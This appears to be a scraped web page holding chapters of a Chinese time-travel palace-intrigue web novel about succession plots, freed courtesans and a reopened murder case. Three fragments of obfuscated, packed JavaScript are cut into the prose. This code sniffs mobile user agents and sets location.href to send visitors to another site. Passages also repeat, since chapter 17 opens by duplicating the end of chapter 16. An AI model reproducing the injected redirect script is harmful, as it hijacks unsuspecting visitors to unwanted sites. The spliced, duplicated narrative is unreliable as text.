后来,秦砚景真正成为了地下赌场幕后的操控者,原本干净的一双手上也经过了无数人命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16494310|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无辜的、认输的、该死的,来来往往,秦砚景早已分不清那么多。 他拿捏着世家大族的短处,以利相诱,迫使他们为他做事。 偶尔在一些极微小的瞬间,秦砚景也会再次想起那个问题,他终于明白太傅为何欲言又止,因为一将功成万骨枯,他若想扫除一切障碍走向那个位置,势必不能容人,要拿黎民百姓的命去换他的命。 他会想起那个冬天。 想起不明不白死去的林婧若,想起匍匐于地狼狈不堪的秦书,想起被秦莞罚跪在宫道上挺直脊背抹泪的秦明月。 他们毕竟血浓于水骨肉相连,亲兄弟和亲兄妹之间,除了对那个宝座的觊觎和执念,到底没有什么说不过去的血海深仇,其实不是一定要置对方于死地。 筵席间鼓声阵阵,皇帝高坐在金漆雕龙的龙椅之上,秦砚景踏着松软的雪向前走,元福笑着为他推开殿门。 若秦书退出不与他相争,秦明月也愿意为他所用,他可以大发慈悲给他们留一条活路。 时至今日,那盏凉透的茶搁在案边,秦砚景回过神,终于缓缓出声道:“秦明月的生母是个胡人,位分低微,任人践踏,阖宫上下没有谁对她有过好脸色,甚至连浆洗洒扫的宫女太监都可以对其施以冷眼,稍有不满便动手欺凌。” “作为和亲的王女被献给大梁,她不受族中重视,没有任何选择的余地,初来时连官话都说得磕磕绊绊,更时常病痛,起不来床。” “如今北部与大梁的关系虽不似十几年前那样紧张,但她母亲到底成了一枚无人再用的弃子,双方表面风平浪静,谁都不愿再提起那段往事。” “久而久之,她的母亲便同秦书的生母一般境遇,常年孤苦,守在连冷宫都不如的荒芜地界,生不如死。” “两个从小在冷宫长大的孩子,今朝米粮过罢,未知明日温饱,情分自然要非同寻常一些。” 说完,他似乎想起什么,秦砚景抬头笑着看了郁霖一眼,笑意未达眼底,语气意味深长道:“命不好,那便只能拥有如此结局,这世上不是人人都有福气,能有机会逆天改命。” 郁霖本就难看的面色瞬间铁青,垂在身侧的手掌攥紧了衣料,指节用力掐到泛白,却连一句置喙的话也不敢说:“殿下说的是,我都记下了,定不辱使命。” “我要你杀她,不仅是为我。” 秦砚景道:“她跟罗沁,已经查到你当年之事了。” “那书生叫什么?”他微笑道:“你还记得吗?” 闻言,郁霖吐出的气息颤抖:“殿下……郁霖不甚清楚。” 秦砚景并未责怪他:“不光你不记得,连我也忘记了,我方才说了那么多,你听见秦明月的母亲叫什么了吗?” 没等郁霖出声回答,他又接着道:“你不会听见,因为我并没有告诉你。实际上,我也不知道她的母亲叫什么,包括秦书的母亲。” 秦砚景慢悠悠地喝下一口凉茶:“她们叫什么,又真的重要吗?” “失败者,他日史书工笔,只能被一笔带过,不配拥有姓名。” “而杀了秦明月,就等于断掉秦书的左膀右臂,会比杀了他自己还让他痛苦万分。” 秦明月和秦书,同气连枝,相依为命。 那根无形的红绳将他们紧紧捆在一起,从此往后,他们的悲惨磨难相连,感受到的痛苦相连,快乐喜悦也相连。 秦砚景是第一个窥见那根红绳的人,他试图解开牵连住他们的东西,走近以后却发现那根绳子生长在血液里,叫作命运。 15.第十五章 “咚——” 清晨时分,第一声钟鸣缓缓穿透城郊外的寒雾,带着几分清冽的凉意。 “阿菱你快来,我这两个新绣的荷包式样哪个比较好?我瞧了半晌也挑不出,茉莉说你了解时下京中风靡的式样,你来帮我选选。” 红菱连忙应了一声,她站在摇摇欲坠的梯子上,抬手抹了把额前细密的汗珠,完全没有半分头牌花魁应有的清冷倨傲模样,反而十分爽朗利落。 她扯着嗓子对外面的人喊:“在呢。我把这面墙刷完就来。” 晨雾漫过长安北城郊的巷口,街边支起的面食小摊升起蒸腾热气,处处洋溢着人间喧嚣的幸福。 北郊这一带的市井生活气息很浓,不似京中大宅富贵,也不似西郊荒芜丛生,处于二者之间一种微妙的平衡。 而这座稍显破旧的宅院便是她和天音楼中其他几位姑娘一同凑钱购置下来的,钱货银两一次付清,虽然地方不算宽敞,但足够她们几人居住,且位置很好。 无论何时何地,红菱一直坚定认为,既然打定主意说要重新开始,那便从头到脚都要改头换面,焕然一新,才能让人心里敞亮。 况且这些姑娘年纪轻轻,正是风华正茂的好年纪,不管从前怎样,只要现在愿意主动走出那个吃人的牢笼,未来依旧拥有无限可能。 但很快她就遇到了困难。 新修订的大梁律法上有言:凡祖辈隶属贱籍者,上至父母亲长,下至子女后代,皆需世代相承,从出生起便没入贱籍。 真是好恶心好卑劣的规则,将人生来就划分成了三六九等,尊卑贵贱,有些所谓的贱籍者攒一辈子钱也无法为后代脱离这个生来便带有的卑贱身份。 红菱对这条规则深恶痛绝,却也深知自己无法更改,不论是她还是温嘉懿,都不能冒着改变结局的风险去挑战一个封建时代的皇权。 在和温嘉懿商量带她们一起走之前,她也曾私下了解过,天音楼中的大多数女子皆是因父母出身贱籍而无辜遭祸,所以被迫进入此地卖艺服侍,族中之人并没有犯下什么十恶不赦的错处,完全可以说是无妄之灾。 既是无妄之灾,那总要有人为她们站出来摇旗呐喊。 这个人是谁都可以,但她来到这里,那就是她。 后来天音楼被查封,红菱带着众人浩浩荡荡地离开,又唯恐后患无穷,她将这些姑娘的卖身契一并从官府赎了回来,当着所有人的面尽数烧毁。 火苗舔舐着纸边蔓延开来,最终化作通红的灰烬,凛冽的寒风卷走一地残渣碎屑,她许诺的誓言兑现,给予了她们传统意义上真正的自由之身。 呼出的白气融在灰蒙蒙的光影里,红菱收回思绪直起身,用力将最后一块墙面压平,指腹沾着湿冷的白灰。 然而安生时光没过片刻,屋内又传来阵阵惊慌失措的喊叫声:“阿菱!” “阿菱你快来啊!!” 红菱太阳穴突突地跳着,她告诫自己一定不能动怒,这是她自己要带出来的人。 她吸气、呼气、再吸气、再呼气,如此反复数次才继续道:“等我一会,我先把这片墙涂好,你们先去找……” “阿菱!这屋里有好大一只蟑螂!它窜到你的卧房里去了!” “阿菱……” 原主之前身为头牌花魁,外人说她冷心冷情不好接近,原主脾气什么样她不知道,但她自认自己是个不太会生气的人,至少管理局的同事都没怎么见过她发火,说她总是以一副温和的笑面孔示人。 但此刻狭小的庭院内喊叫声此起彼伏,吵得人耳膜生疼,饶是她脾气这么好的人也实在忍无可忍。 红菱单手扶墙从梯子上跳下来,还没反应过来那人在说什么,下意识道:“我说了这里还没忙完,你让蟑螂先等我一下行不行!” “……” “……” 等等。 蟑螂??? 霎时间空气中一片死寂,红菱猛地反应过来,脸色骤变:“等一下!蟑螂?!我也害怕这个啊!快去找宁昭!!” “宁昭!!!” “救命啊宁昭!这里有一坨庞然大物在到处爬啊!” “宁昭呢?!宁昭去哪儿了?!” 一只约莫有半个手掌那么大的蟑螂瞬间搅得屋内屋外全部乱作一团,茉莉双手环抱着柱子,吓得三下五除二窜到房梁上躲了起来,刚洗净的白衣上立刻蹭了一层灰黑的木头碎屑。 闻声,那位被唤作宁昭的粉衣女子扔下笔杆,她白皙的脸上沾了几滴黑色墨水,十分不耐烦地走过去。 “吵吵吵,又在吵什么?你们每天除了鸡猫子鬼叫以外能不能有点别的动静?看不见我在习字吗?” 她眸光冷冷一扫,只见众人互相安慰着抱在一起取暖,你看我一眼我看你一眼,可怜兮兮地缩在院内最里面的角落里不敢动弹。 宁昭伸手推门进去,目光微微一转,瞧见房梁上还趴着一个不要命的茉莉眨巴着眼睛看她,指着床榻道:“宁昭你总算来了!那里有大——蟑螂。” 宁昭没好气地骂了几句废物,提起粉色裙襦一把掀开被褥,接着利索地扯下纱帐裹住被单将蟑螂罩在里面,面无表情地一通乱踩。 “……” “……” 在众人无比震惊的目光下,她终于停下动作,连纱帐带被单裹着不知道几只蟑螂的尸体一起扔到了外面,整个过程如行云流水,干净利索。 “……” 茉莉目瞪口呆地顺着柱子滑了下来。 做完这一切,宁昭依旧冷着一张脸,她施施然坐回桌案前,目光复又凝在那几个歪七扭八的字上,提笔时的笔锋顿住,笔杆悬在宣纸上,墨汁顺笔尖晕开一小团浅痕,像极了屋中那盏被风吹得摇晃的烛灯。 她忽然想起在离开天音楼时,自己对红菱说的那些堪称恶意满满的话。 “自由是什么?你又凭什么这么说?像你这样的头牌花魁,自然有千万人等着求着为你赎身,让你拥有所谓的自由,而我们呢?我们有什么?” “我们现在的生活就是最好的自由,有吃有穿,过得很好。不需要任何改变,更不需要你在这里假惺惺的装好人,说这些虚伪至极的话!” “你以为把我们拉出这个地方,就自以为能成为我们的救世主吗?我告诉你,做梦!” 她想起茉莉站在她身边不停抹眼泪,泪眼婆娑地说自己除了跳舞和服侍人以外什么都不会,走到哪里都会成为大家不愿负担的累赘。 想起寒冷的冬夜,老鸨和掌事对她那些无休止的谩骂和斥责:“宁招婢,你个贱种,这辈子生是天音楼的人,死是天音楼的鬼,还试图想逃跑?我今日打死你,叫你今生今世都别想离开这个地方。” 然而转瞬之间,记忆里这些不可言说的痛苦、泪水、还有夹杂着无数苦难的声音尽数悄然湮灭,取而代之在她耳边的是舒朗开怀的女子笑声,如山间的清风朗月,驱散所有阴霾。 “宁昭你连蟑螂都不怕,简直就是我心里最能干的人。” “没有你我简直不知道怎么活!我决定今日把饭菜盛好了送到你嘴边!” “宁昭,你还想看什么书?我这里还剩一些之前攒的积蓄,今日我也做一回老大,想要什么书我都给你买!” 耳畔的声音渐渐散去,宁昭想起上元节那一日,红菱紧紧拉住她的手往外走,直奔官府而去要为她们这些歌姬舞娘赎身,要烧毁那些价格高昂的卖身契。 她的眼神那样坚定不移,是她从前渴望成为却从未实现的模样。 红菱最终还是成功了,临走之前,官府的人叫住她们,不怀好意地笑了笑说道:“红菱姑娘,你做的这些有意义吗?” 他对她们的自救不屑一顾,甚至捧腹大笑起来:“你不会你以为自己在演绎一场救风尘的大戏吧。哈哈哈哈哈哈……真是可笑又可悲的一群女人。” 话音落下,红菱回头冷声斥道:“我从来不会大言不惭地说我一定能拯救谁,更不是什么无所不能的救世主。” “只是她们不幸来到这里,而我恰好可以带她们出去。” 仅此而已。 说完,她以完全凝视的姿态上下扫视了他几眼,面露鄙夷:“不过像你这样的男子,莫要说什么风尘不风尘,腰带解下来旁人都要问阁下是否净过身吧!” “……” 思及此,宁昭没忍住笑出声,她现在勉强认同她的话,这样自由随心的生活,确实更好一点。 这种向上的自由,更令人钦羡,更令人向往。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498180|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再后来,红菱从茉莉的口中知道了她的名字。 宁昭自小背井离乡,八岁前没吃过一口足以填饱肚子的饭,自懂事起没读过一本正经八百的书,这二十年以来看过最多的册子大概就是春图。 她不明白为何红菱听到自己的名字后,总是在不经意间流露出伤心之意。 这个名字很难听吗?或者说会让她很难过吗? 那似乎是一种跨越无数光阴也难以理解的苦痛,藏匿在她欲言又止的眼眸中,隐没在对视的万语千言间。 她看不懂,而红菱也没有向她解释,只是眸色认真地告诉她:“招婢这两个字不好,既然你决定要重新开始,那便连名字也一起换了吧。” 烛火噼里啪啦地燃烧着,一帮姑娘围坐在炭盆旁边讨论这个问题,红菱撑着下巴想了很久很久,最后站起身兴奋道:“宁昭。从今往后,你叫宁昭,好吗?” “昭,取自光明灿烂之意。” 昭? 昭是怎么写的来着? 宁昭再次提笔,若有所思地盯着纸张上的字看了半晌,却忘记了自己写的是否正确。 最后她服输了,认命地想跟她们一样,张口喊出红菱的名字以求帮助。 下一刻,一道平缓柔和的声音响起,打断了她还未出口的话。 “这个字不是这样写的。” 话音落下,来人微微附身,一双骨节分明的手径直握住了宁昭的手腕。 这是一双少女的手,温热湿润的气息拂过宁昭耳尖,对她轻声道:“昭,意为昭阳,如同破晓之际的阳光一般,有光明灿烂之意,所以左边是一个日,而不是目。” 几缕乌黑的发丝随动作垂落在泛黄的宣纸边缘,留下一抹极淡却好闻的幽香,少女的语调温柔和缓,宁昭倏然愣住,连挣扎反抗都忘记,一动不动地任由她带着自己动笔。 怔愣间,一个崭新的昭字映入眼帘,刚柔并济,潇洒落拓,与她龙飞凤舞的字形成鲜明对比。 宁昭掀眸看向眼前的少女,她身穿一件烟绿云缎裙,裙摆下端处绣了几朵并蒂双生的海棠花,外面披着领口围了一圈白绒毛的狐裘。 少女鼻梁高挺,薄唇殷红,素净的脸庞未施粉黛,望向她的眸子亮得惊人,仿佛蕴含了一弯璀璨星河,眼角眉梢间尽是挥之不去的傲气张狂。 叫人移不开眼。 实际上,宁昭也确实没有移开眼,于是她脚下一滑,连人带桌往前一趴,脸朝地狠狠摔了一跤。 以为出事闻声匆忙赶来的红菱:“……” 温嘉懿:“……” 温嘉懿无奈上前把她拉起来,抬手将她的衣领整理妥当,笑问道:“没事吧?” 红菱弯腰将东倒西歪的桌子扶正,顺手理了理乱糟糟的桌面,将案上堆积的几本书册叠在一起。 见温嘉懿面上丝毫没有嫌弃之意,她有些赧然地环顾四周,语气略显得干巴巴道:“首席,你怎么来了?” “嗯?你问我怎么来了?你说呢?”温嘉懿回头似笑非笑地看向她:“你都将位置告诉我了,还不来找我,那只能我来找你了。” 红菱往身上擦灰的动作骤然顿住,心下一惊,这两日她处理各种事情忙得头脚倒悬,已经完全将约定抛诸脑后了。 她面含愧色,连连道歉:“抱歉首席,我不是有意的,实在是忙忘了。” 温嘉懿知道红菱有自己的事要做,自然不会因为这点小事跟她生气:“我都明白,你跟我出来一下,我有话和你说。” 两人并肩一齐往外走,宁昭这才如大梦初醒般回过神,掩饰般地重重咳嗽了几声,强迫自己将视线收回,神色慌乱道:“没事……我怎么可能有事?别开玩笑了。” 温嘉懿闻声转回身看她,她的目光落在桌角那堆高高摞起的书册上,像是想到什么,笑吟吟道:“没事便好,练字读书都并非一日之功,你已经写得很漂亮了。” 晨雾散尽,一阵风起,吹动三人衣摆,泛起春水般的波澜。 最上方的那本书被这阵风掀开,有目的似的翻过一页又一页,最终停留在宁昭之前认真读过却又忘记的那一行字上。 灿烂的光束穿过重重云层,慷慨洒下一片金黄。 ——君子万年,介尔昭明。 16.第十六章 与此同时,大理寺正堂内。 一束清亮的晨光透过长窗照在公案上,鎏金铜炉里的檀香燃到尽头,罗沁身着一袭绯色官服,她没有戴官帽,将头发挽起,神色平静地站在座上人身侧为其添茶。 滚烫的茶汤落在盏中时泛起一圈涟漪,恰好与摊开的卷宗边缘那道用朱笔勾画的字迹重叠。 【死者林婧若,字锦昀,性别女】 【年岁二十有八,籍贯不详,承平年初继任太常寺卿,景康三年于家中暴毙而亡】 【结合尸表征象、毒物初验结果,暂断为误食含毒汤药致死】 “……” “……” 大理寺卿放下手中的卷宗,声音里带了几分难言的疲惫之意:“罗少卿,你说的这些我都清楚,或者说其实很多人都心知肚明。但你要明白这件事已经过去了,已经翻篇近乎四十年了,你再去纠结她的真正死因,没有任何意义。” 他连林婧若的名字都不敢提起,罗沁心下微沉,语气却未变:“请恕下官愚昧,这与过去多少年有何关系?公理在上,大理寺多年来一直依法断案,大人既已知事有不公,为何按下不发?” 她开口时的神情认真偏执,一双眼眸清澈透亮,带着一点少年人应有的坚定执拗,大理寺卿移开视线,不想摧毁她心底那点仅存的希望,微不可查地叹了口气。 难道出身官家的孩子都这么不听话? 旁的不提,她哥哥罗序然在自己手下当差不过一年有余,就敢擅自带人查封天音楼这件事,换成别人早就不知道掉了几回脑袋。 皇室中人的储位之争一向你死我活,那都是当权者才有资格置喙的,他们这些人一旦掺和进来,无论立场如何,一定会平白无故惹得一身腥。 地下赌场背后真正的掌事人是谁,京中不少权贵子弟都心照不宣。 谢家累世功勋,皖鸿将军谢悬屡立战功又手握兵权,虽不知眼下他为何会力保三殿下祭天游神,但当今皇后毕竟是他的嫡亲妹妹,大皇子是他亲外甥,世上哪有舅舅不偏爱外甥的道理? 有利争利,无利则绕道而行,这么简单浅显的道理,偏这两兄妹一点人情世故不懂,非要顶风作案和大皇子作对,还试图拉整个大理寺一起下水。 “不是大理寺选择按下不发,而是在强权之下,当时的大理寺从头到尾就没有选择。” 大理寺卿并未再提她进入赌场的事,他缓缓阖上双眸,片刻后复又睁开眼出声道:“罗少卿,你哥哥能动用职位权限将这些陈年卷宗整理出来,又为避嫌让你来找我,想来为此事也是下定了决心的,你实话告诉我,你们做这些,是为了三殿下还是……” 罗沁平静道:“无论是兄长还是下官,做这些事都不为任何人。” 不为任何人? 大理寺卿如今年纪已过半百之岁,两鬓斑白,此刻神情甚至称得上有几分困惑:“谁都不为,那你们是?” “下官只是为了一句公道。” 这听上去实在是太可笑太幼稚的话,而罗沁说完却停住了手上的动作,将目光投向很远之外的地方。 她顺从地没有提起那个名字,或许是因为那个名字其实并没有那么重要,重要的是无数如她这般清廉正直却最终死于非命的人。 “大人,您还记得,景康年初的那位新科状元,那年殿试,她的策论最后一句话写的是什么吗?” 林婧若这个名字的确不能再被提起,但她高中进士作答的考卷当年一骑绝尘,四十年余来一直放在文庙中供来往学子瞻仰,只是将她的姓名悄然抹去了而已。 “……” 不知是上了年纪还是什么别的缘故,大理寺卿安坐于高堂之上思考了很久,也安静了许久,最终也没能想起来那句话究竟是什么。 他没有回答她的问题,依旧摇头:“我言尽于此,无话可说。罗少卿,你要想明白,以你的身份地位,完全没必要做出这等险事,你的前途、你的家族,都维系在你和你哥哥的身上。” 是啊。 她活这一辈子,还有什么不满意的? 父亲罗贵明官至宰相,罗沁出生起便顺风顺水一路畅通,已经拥有其他人几生几世都求不来的富贵安稳,而她本人也十分争气,高官厚禄、仕途通达,即便不慎落入地下赌场那种地方,将来议亲,王侯世家的公子也可以任她随意挑选。 何必呢? 仅仅因为是不公吗? 可这与你又有什么干系呢? 大理寺卿无法想象,这世上居然会有人为一个连一面之缘都没有,甚至尸首都早已化成骨灰的人,断送自己原本繁花似锦的前途。 鲜亮的绯色官服随动作扯出褶皱,罗沁闻言自层层高台拾级而下,她倏然撩袍屈膝,仰视着台上人,俯身叩拜,衣料摩擦的轻响在寂静中格外清晰。 远远望去,似乎有两道挺拔的身影一前一后逐渐重叠。 “若生灵涂炭、民不聊生、食不果腹,则万钟于我何加焉。” * 池边溪水流淌着碎银般的光,两人并肩走到溪边,红菱犹豫半晌,还是摸了摸鼻尖不好意思道:“首席,实在抱歉。按理说应该是我去找你,结果反倒让你来了这种地方……” 温嘉懿掀起眼皮看了她一眼,并未觉得有什么不妥之处,她停住脚步,从袖中递给红菱一叠银票,自然道:“拿着。” 红菱:“……” “嗯?” 见红菱还是没接,温嘉懿将东西不由分说地塞她怀里:“这种地方也没什么不好,很安全。我知道你们搬来搬去的麻烦,也不好替你们安排一切,所以索性给点实际的东西,也方便日常花销。” “这个时代她们能做的事十分有限,不管是想读书还是做生意,能支持的我都支持,拿着吧。”她还不忘开玩笑似的补充一句:“放心,钱是从温家账上划的,不是我抢的。” “那我就替大家多谢首席了。”红菱没忍住弯了唇角,她想起什么,又缓缓收敛起笑意道:“对了首席,你让我查的那个人,已经有消息了。” “她确实姓林,叫林愁。承平五年出生于城外贫民窟,十三岁被拐入地下赌场,而后成为赌场内的无冕之王,在角斗场的厮杀中从未有过一场败绩,被掌事赐予了‘壹’的名号。” “地下赌场毁后,大部被困者都同意与官府签署补偿协议,甚至还有些人拿这笔不菲的抚恤金脱离了奴籍,却唯有她的行踪至今下落不明,像是有人在为她刻意遮掩。” 溪风裹着寒气漫过来,岸边枯苇丛被压得贴向僵硬的冻土。 温嘉懿抬手拢紧狐裘,清亮的眸中平和无波:“林婧若没有后代,祖上八代的族谱悉数登记在册,她不可能姓林。” “首席的意思是,林愁是自己改的这个名字?”红菱一愣接着问道:“若我没记错,林大人生前一直在接济贫民窟的那些百姓,难道她的祖辈曾受林大人恩惠,所以想找机会为林大人报仇?” 温嘉懿沉默着没说话。 这几日,她在裴府重新整理目前已知的线索,有些后知后觉地回过味来。 关于地下赌场被毁这件事,是否太过顺利了。 顺利到就算没有她,没有罗沁,仅靠秦明月一个人也能成功。 过了半晌,温嘉懿看向不远处道:“上元节那日,我和素箩潜入赌场,曾听见那里的掌事说过一句话。” 她将那时听到的完整复述出来:“尤其是第三场,若出事,你我掉几个脑袋都不够。” 红菱不禁蹙眉:“第三场?” “不错。” “除秦砚景以外,我想不出第二个人能让天音楼的掌事如此惧怕。” “我一直在想,为什么第三场一定不能出事?第三场有多重要?这其中是否存在另外一种可能,秦砚景早在地下赌场重开之际就已经知道了七公主的行踪,但他没有声张,想借这个机会将她悄然抹杀,等尘埃落定再报以意外身亡。” 因为所谓的角斗场第三场厮杀从头到尾就没有出现,驻守城外的皇家禁军在第二场还未开始之前,就提前来到了地下赌场。 温嘉懿能确定,秦明月在做决定前没有和罗沁商量,她们两人见面时眼中的诧异不比自己见到她们少。 秦明月是孤身一人进入的地下赌场。 但作为倍受冷落的七公主,她是这么不瞻前顾后的人吗? 如果秦明月真的如她表现的那么蠢,以她卑微的出身,又怎么能保着她的胡人母妃一直安安稳稳的活到今日。 “毕竟合宫夜宴,来往之人鱼龙混杂,皇室亲贵数不胜数,有谁会注意到一个不受宠的公主有没有到场。我猜测……那掌事口中的第三场厮杀,原本应该属于秦明月跟林愁。” “最终目的是,用她战无不胜的成绩杀死秦明月。” 但秦砚景的计划显然失败了。 他没预料到,有人能在众目睽睽之下明目张胆地保秦明月,甚至换掉了黑箱子中内定的纸条顺序,所以她才敢大胆行事,她知道进入赌场以后不会有危险,至少不会死在那里。 壹为什么要虐杀柒? 她恨柒? 与其这么说,不如大胆猜测,她在用自己的方式为谁拖延时间。 温嘉懿收回投向溪流对岸的视线,浓密的眼睫微垂,落下的眸光锐利如鹰隼,带着几分审视的冷意。 秦明月究竟在和谁里应外合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515689|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是谁通风报信让皇帝提前知道这件事,致使城外禁军来得那么快。 此人不仅和壹有密不可分的关系,且绝不可能是秦书,那日他替皇帝祭天夜游,没有时间也没有机会去做这件事。 思绪回转,温嘉懿忽然注意到红菱有往前栽去的趋势,连忙手疾眼快扯住她,让她走到外侧防止摔倒,目光关切道:“没休息好?” 这是原主的旧疾,从她穿来时便有,红菱方才眼前一黑,险些直直摔进冰冷的溪水中。 “或许有一点,不过不是什么大事,郁霖也没再来找过我。” “郁霖暂时不会来找你的麻烦,他现在尚且自顾不暇,这时候恐怕在绞尽脑汁地想怎么悄无声息弄死七公主,再让罗沁把嘴闭上,好藏住他那些见不得人的勾当。” “但现在,我们还不能对郁霖动手。他是秦砚景的人,也是半个谢家的人,我需要留着他的命,在必要时刻为林婧若翻案。” 尾音散在风里,红菱紧紧拉着她的手,借力站稳脚跟,渐渐安静下来没再出声。 她没来由地感到一种难以言喻的苦涩酸胀感,涨得人心头发疼,这种感觉无法用语言形容,因为让她沉默的缘由不是出自她本身,而出自于献祭给她身体的那个灵魂。 “……” “……” 温嘉懿收住话头,敏锐注意到她情绪的变化,状似不经意地转移话题:“刚刚在外面写字的那个姑娘叫什么?” 红菱回过神答道:“她叫宁昭。” “宁昭……好名字。” “希望她往后能有光明灿烂的一生。” 红菱顺着话应声,温嘉懿岔开话题的手段并不高明,甚至还有些低级,很容易便能被人识破,她的心底却莫名泛起些许暖意。 一阵风掠过溪畔,她的视线最终落在对方轮廓分明的侧脸上,盯着看了许久,最后缓缓道:“首席,其实你和传闻中,很不一样。” 温嘉懿原本在想正事,听到这句话,抬眸看向她的神情颇有些一言难尽:“……还有传闻?管理局那帮人背地里怎么编排我的?理事长没说我坏话吧。” “当然没有!”红菱忙不迭否认:“理事长经常训斥他们,还让他们少在背后生事。” “其实也不算是编排……就是大家不出任务的时候,总喜欢开小会八卦。” “在大多数管理局同事的印象里,你是很不好惹,很……”她试探着措辞道:“很杀人不眨眼的一个人。” 067跟首席执行官见面的次数并不多,只简单打过几次照面,大部分时间都是跟在她身后处理一些任务收尾工作,只是偶然听见同事说起她是性格很冷僻很不好惹的人。 可能上一秒还在漫不经心地笑着,下一秒就拔刀把人大卸八块。 所以当时在天音楼中见到温嘉懿沉默,红菱下意识以为首席执行官定是觉得自己连这么简单的任务都做不好,连忙向她解释事情的起因经过,生怕她觉得自己没用,然后将她毫不犹豫放弃。 温嘉懿探查到她千回百转的心思,反而无所谓地笑笑,因为她杀过的人确实不少,没什么好遮掩的。 “硬要说的话,他们也没说错,我本来也不是什么好人,半斤八两罢了。” “作为首席执行官,我依然有很多不足的地方。” 这次换红菱摇头。 温嘉懿说一切都可以放心交给她时的语气那样坚定,伸手拉起宁昭时的神色那样温柔缓和,怎么会如同传闻中说得那般凶神恶煞。 那些不明真相的人只看到了首席执行官为了立威不得不展现出的凶残一面,却没有看到她为过往时代的天下万民,以及为千万人出生入死的决心。 在红菱心里,首席执行官就是真正的救世主,是可以拯救所有时空执行者的人。 温嘉懿见状极缓地叹了口气,她很少说自己的过往,有时候,她觉得把这些不痛不痒的困难讲出来很矫情,毕竟这世上比她苦的人有太多太多。 而今天,她却主动道:“其实,在没当上首席执行官之前,我曾执行过一次很凶险的任务。” “那是晋升考试的最后一关。在玻璃光球内的万千世界中随机选取一个陌生时代,不能依靠金手指的帮助,只保留新公历时代的一切身体素质,在暗河洪流中生存满一百日。” “一旦成功,我便能名正言顺成为时空管理局的首席执行官。” “听上去很难,就像一个不可能完成的任务。”闻言,红菱不禁看向她:“但首席你最后还是成功了。” 风穿过溪畔柳丛的枯枝残条,发出呜呜的声响。 一阵长久的寂静后,温嘉懿轻声道。 “我失败了。” 17.第十七章 温嘉懿及时收住话头,敏锐注意到她情绪变化,状似不经意道:“不提这些晦气事,方才那位在外面写字的姑娘叫什么?我看她写得认真,态度也端正,将来或许是可用之才。” 红菱缓缓吐出一口心间郁结的气:“她叫宁昭。” 话音落下,温嘉懿清亮如水的目光有一瞬间近乎凝滞在此刻,却被她立刻按了下去,她很快收敛情绪,接着毫无破绽道:“昭昭云端月,此意寄昭昭……是个好名字。” “希望她往后能有光明灿烂的一生。” “会的。” 红菱垂下微颤的眼睫,心口那阵撕裂的绞痛感渐渐淡去,温嘉懿顺着话应声,她很少会主动安慰什么人,所以岔开话题的手段并不高明,甚至有些低级,很容易便能被识破,红菱的心底却莫名泛起些许暖意。 一阵风裹挟着清凉的寒意掠过枯枝,穿过溪畔,她的视线最终不由自主落在对方轮廓分明的侧脸上,盯着看了许久,最后才道:“首席,其实你和传闻中,很不一样。” 听到这句话,温嘉懿抬眸看向她的神情颇有些一言难尽,甚至有几分嫌弃的意味:“怎么还有传闻?管理局那帮人背地里怎么编排我的?理事长没说我坏话吧。” “当然没有。” 小插曲过去,两人继续往前走,红菱忙不迭否认:“理事长经常因为这个训斥他们,还让他们少在背后生事。” “其实也不算是编排……就是大家不出任务的时候,总喜欢开小会八卦。” “在大多数管理局同事的印象里,你是很不好惹,很……”她仔细想了想,试探着措辞道:“很杀人不眨眼的一个人。” 红菱跟首席执行官见面的次数并不多,只简单打过几次照面,大部分时间都是跟在她身后处理一些任务收尾工作,只是偶然听见同事说起她性格很冷僻,很不好惹。 可能上一秒她还在漫不经心地笑着插科打诨,下一秒就立地拔刀把人大卸八块,道一句黄口小儿安敢放肆。 所以当时在天音楼里,她看见温嘉懿皮笑肉不笑地坐在那看着她一言不发,顿时感觉周遭气氛都凝结成冰,只消轻轻一戳便往下掉簌簌冰碴子,比她看过的所有恐怖片都吓人。 红菱下意识认为,首席执行官是觉得自己连这么简单的任务都做不好,于是连忙向她解释事情的起因经过,生怕她觉得自己没用,然后将她毫不犹豫放弃。 一瞬间,温嘉懿明白了她的言外之意,反倒无所谓地笑了笑。 她能理解管理局那些人对她避之不及,因为她声名在外,杀过的人确实不少,每次任务结束回去的时候都带着一身看上去没个一年半载好不了的伤痕。 理事长那时还耳提面命叹着气告诫她要小心行事,要将自己的安全放在第一位。 在有系统和金手指协助的情况下,执行者在任务世界身死之前,可以及时传送回管理局避免现实身亡。 只不过001来往任务世界多年,从未用过这项辅助功能,她秉承着要做一件事就要做到最好的理念,任务完成率一直保持着惊人的百分之百。 温嘉懿神色略有些漫不经心道:“说我杀人不眨眼?那他们也没说错,我本来也不是什么好人,至于在任务世界杀过的人……大家都半斤八两罢了,难不成他们遇到听不懂人话的蠢货还晓之以理?” 